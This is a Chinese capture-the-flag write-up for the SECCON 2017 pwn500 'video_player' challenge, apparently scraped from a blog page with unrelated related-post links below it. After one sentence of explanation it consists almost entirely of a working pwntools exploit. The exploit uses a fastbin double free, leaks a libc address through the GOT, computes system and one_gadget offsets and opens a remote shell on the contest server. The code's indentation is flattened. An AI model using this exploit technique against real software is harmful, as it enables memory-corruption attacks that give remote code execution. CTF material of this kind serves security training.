感觉这个题目并不值500分,有些地方比较牵强,漏洞也比较明显,解题方法有多种,出题者把堆的布局随机化了,不过使用fastbin doublefree的话,可以完全忽视被打乱的堆。

 from pwn import *
#context.log_level='debug'
#wah
def newaudioclip(r, bitrate, length, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Audio Bitrate : ')
r.send(bitrate)
r.recvuntil('Audio Length (seconds) : ')
r.send(length)
r.recvuntil('Audio Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newvideoclip(r, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newmetadataclip(r, date, owner):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Date of Creation : ')
r.send(date)
r.recvuntil('Owner of video : ')
r.send(owner) def editvideoclip(r, inx, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Edit description : ')
r.send(description) def delclip(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) close = 0
def playvideoclip(r, inx):
global close
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
close = u64(final8)
print('leaked close is %x'%close) chunk = 0
def playvideoclip1(r, inx):
global chunk
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
chunk = u64(final8)
print('leaked chunk is %x'%chunk) def playvideoclip2(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) if 0:
ip = '127.0.0.1'
port = 10001
else:
ip = 'video_player.pwn.seccon.jp'
port = 7777 def getpid():
import time
exe = 'video_player'
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!') def pwnpwn():
r = remote(ip, port)
r.recvuntil('What is your movie name?')
getpid()
r.send('\x00'*0xff)
#newaudioclip(r, bitrate, length, data, description):
newaudioclip(r, p16(30), p32(0x50), '\x00', '\x00')
#
newvideoclip(r, p64(0), p32(0), p32(0x30), '\x00', '\x00')
editvideoclip(r, '', p64(0), p32(0), p32(0x50), '\x00', '\x00') delclip(r, '')
delclip(r, '') #
newvideoclip(r, p64(0), p32(0), p32(0x50), '\x00', '\x00') data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data, '\x00')
playvideoclip(r, '') #
close_offset = 0xF78B0
binsh_offset = 0x18CD17
system_offset = 0x45390
one_gadget_offset = 0xf1117
binsh = close - close_offset + binsh_offset
system = close - close_offset + system_offset
one_gadget = close - close_offset + one_gadget_offset
data1 = p64(0)*2+p64(one_gadget)
newmetadataclip(r, data1, '\x00'*0x1f) data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data2, '\x00')
playvideoclip1(r, '') raw_input('here')
data3 = p64(chunk)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
playvideoclip2(r, '')
r.interactive() pwnpwn()

Seccon2017-pwn500-video_player的更多相关文章

  1. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  2. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]

    上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfire插件.一步步很详细的介绍到简单插件开发,带Servlet的插件的开发.带JS ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. ZCTF-Pwn

    版权声明:本文为博主原创文章,未经博主允许不得转载.  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结. 文件打包:http://files.cnblogs.com ...

  5. 老司机教你下载tumblr上视频和图片的正确姿势

    本文面向初学者. 很多同学问我:“我非常想学Python编程,但是找不到兴趣点”. 还有的同学呢,找到了很好的兴趣点,但是无从下手,“玄魂老师,我想下载tumblr上的视频, 怎么下载,Python能 ...

  6. phpcms添加视频

    phpcms添加视频分为三种情况,一种是在首页播放,一种是在列表页播放,另一种是在内容页播放.其中在首页播放和在列表页播放的区别就是catid值是固定的还是取得当前catid的区别.而在首页和列表页播 ...

  7. openfire:基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件 上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfir ...

  8. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    原文:http://www.cnblogs.com/hoojo/archive/2013/03/29/openfire_plugin_chatlogs_plugin_.html 随笔-150  评论- ...

  9. HTML5 Video player jQuery plugin

    <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8&qu ...

  10. flutter packages.

    connectivity This plugin allows Flutter apps to discover network connectivity and configure themselv ...

随机推荐

  1. absolute float 比较分析

    同一:absolute-float 都脱离了文档流,也就是默认情况下,父盒子计算高度不包括 absolute/float 的元素 下例: 两个 parentDiv,背景色:深海蓝;边框:1px红色实线 ...

  2. Hibernate-sessio缓存的操作

    首先咋们看一个图: flush:首先箭头是由缓存指向数据库,即当我调用 Session.flush()方法时它会强制使数据库的记录跟缓存 中的对象状态保持同步 ,如果不一致,就会发送Sql语句 ,保持 ...

  3. Struts2的CRUD操作

    Struts之CRUD 1何为CRUD:CRUD代表的是一个框架的Create(增),Read(读取),update(更新),Delete(删除) 2怎么做呢?? 其实Struts2的CRUD与现实的 ...

  4. R中实现脚本调用,以及函数调用

    R中实现脚本调用,以及函数调用 这里的列子是test.R调用mysql_con.R中的函数 mysql_con.R # 使用RMySQL操作数据库 # 载入DBI和RMySQL包 #library(D ...

  5. 用于把List<Object>转换成Map<String,Object>形式

    /** * 用于把List<Object>转换成Map<String,Object>形式,便于存入缓存 * @author zhang_bo * @param keyName ...

  6. wiki配置文件

    jira数据库配置文件(链接:https://blog.csdn.net/jiangguilong2000/article/details/39718407) /var/atlassian/appli ...

  7. 【Flask】在Flask中使用logger

    https://blog.csdn.net/yannanxiu/article/details/53557657 Flask在0.3版本后就有了日志工具logger,在Flask的官方文档中这么记载: ...

  8. Spring数据访问和事务

    1.模型 2.解耦 3.实现 3.1 核心接口 3.2 代码分析 3.2.1 事务管理 3.2.2 数据访问 4.使用 4.1 编程模式 4.2 配置模式 4.2.1 声明式配置方式 4.2.2 注解 ...

  9. 并发编程 - 线程 - 1.互斥锁/2.GIL解释器锁/3.死锁与递归锁/4.信号量/5.Event事件/6.定时器

    1.互斥锁: 原理:将并行变成串行 精髓:局部串行,只针对共享数据修改 保护不同的数据就应该用不用的锁 from threading import Thread, Lock import time n ...

  10. Python标准库 之 turtle(海龟绘图)

    turtle库介绍 首先,turtle库是一个点线面的简单图像库(也被人们成为海龟绘图),在Python2.6之后被引入进来,能够完成一些比较简单的几何图像可视化.它就像一个小乌龟,在一个横轴为x.纵 ...